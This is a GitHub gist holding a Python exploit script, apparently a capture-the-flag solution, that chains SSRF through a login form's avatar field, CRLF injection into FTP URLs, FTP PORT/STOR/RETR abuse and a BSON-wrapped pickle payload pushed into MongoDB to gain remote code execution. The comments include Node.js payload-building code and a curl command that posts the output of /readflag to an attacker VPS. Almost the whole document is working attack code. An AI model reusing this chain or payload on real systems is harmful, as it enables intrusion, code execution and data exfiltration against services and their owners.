Created
January 19, 2021 06:53
-
-
Save Sp3eD-X/3676825d44b5a57f4b34998c9a0bd61e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
import random | |
import socket | |
""" | |
TL;DR | |
1- SSRF to ftp through the avatar parameter on /login | |
2- Abuse the CRLF injection in python urllib to inject ftp commands | |
3- make a bson serialization payload and put the session val to be a pickle serialization to gain RCE | |
4- upload file to ftp using STOR command to create a file and PORT command to connect to our socket and then write files to ftp | |
5- connect to mongodb and push the payload with ftp PORT command and RETR command to make mongodb retreive the file. | |
first create a bson serialization payload. I did that using nodejs with the bson module: | |
const bson = require("bson"); | |
const fs = require("fs"); | |
// Serialize a document | |
// don't forget to make a pickel payload, my payload was just "curl -X POST http://<VPS>/ --data `/readflag`" | |
const doc = { | |
insert: "sessions", $db: "admin", documents: [{ | |
"id": "session:c74289f1-0209-4ad7-ad0a-cde158a4588c", | |
"val": Buffer.from(fs.readFileSync("pickle").toString(), "base64"), | |
"expiration": new Date("2025-02-18") | |
}]}; | |
const data = bson.serialize(doc); // serialize our payload | |
/* | |
Now we need to wrap our bson payload with an OP_MESSAGE | |
0x5D, 0x00, 0x00, 0x00, // total message size, including this | |
0x00, 0x00, 0x00, 0x00, // requestID (can be 0) | |
0x00, 0x00, 0x00, 0x00, // responseTo (unused for sending) | |
0xDD, 0x07, 0x00, 0x00, // opCode = 2013 = 0x7DD for OP_MSG | |
0x00, 0x00, 0x00, 0x00, // message flags (not needed) | |
0x00, // only data section, type 0 | |
*/ | |
let wrapper = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex"); | |
let payload = Buffer.concat([wrapper, data]); | |
payload.writeUInt32LE(payload.length, 0); | |
fs.writeFileSync("bson-serialized", payload); | |
""" | |
ftp_host = "172.20.0.2:8877" | |
attacker_port = 9000 | |
attacker_host = "<VPS>" # your vps IP | |
file_name = "test" | |
mongo_port = 27017 | |
mongo_host = "172.20.0.5" | |
def randstr(): | |
alphabet = list(string.ascii_lowercase + string.digits) | |
return ''.join([random.choice(alphabet) for _ in range(32)]) | |
# First Stage is to upload a file with ftp STOR command and write a conetent with ftp PORT command using our socket. | |
def upload_file(): | |
file_contents = open("bson-serialized", "rb") | |
ftp_cmds = [ | |
"USER fan", | |
"PASS root", | |
"TYPE A", | |
"PORT {},{},{}".format(attacker_host.replace('.', ','), attacker_port >> 8, attacker_port & 0xff), | |
"STOR " + file_name | |
] | |
# injecting ftp commands in the username | |
inject = 'ftp://fan\r\n{}:root@'.format('\r\n'.join(ftp_cmds)) + ftp_host | |
# starting a socket to listen for a connection from ftp | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
sock.bind(("0.0.0.0", attacker_port)) | |
sock.listen(1) | |
data = { | |
"username": randstr(), | |
"password": "test", | |
"avatar": inject, | |
"submit": "Go!" | |
} | |
req = requests.post("http://23.98.68.11:8088/login", data=data) | |
# Writing the content to ftp | |
(connection, address) = sock.accept() | |
connection.sendall(file_contents.read()) | |
# Now we will use PORT ftp command to SSRF to mongodb and use RETR to push the payload into mongodb | |
def push_payload(): | |
ftp_cmds = [ | |
"USER fan", | |
"PASS root", | |
"TYPE I", | |
"PORT {},{},{}".format(mongo_host.replace('.', ','), mongo_port >> 8, mongo_port & 0xff), | |
"RETR " + file_name | |
] | |
# injecting ftp commands in the username with CRLF injection | |
inject = "ftp://fan\r\n{}:root@".format("\r\n".join(ftp_cmds)) + ftp_host | |
data = { | |
"username": randstr(), | |
"password": "test", | |
"avatar": inject, | |
"submit": "Go!" | |
} | |
req = requests.post("http://23.98.68.11:8088/login", data=data) | |
if __name__ == "__main__": | |
upload_file() | |
# Send the payload more than one time to make sure it pushed the session into mongodb | |
push_payload() | |
push_payload() | |
push_payload() | |
push_payload() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment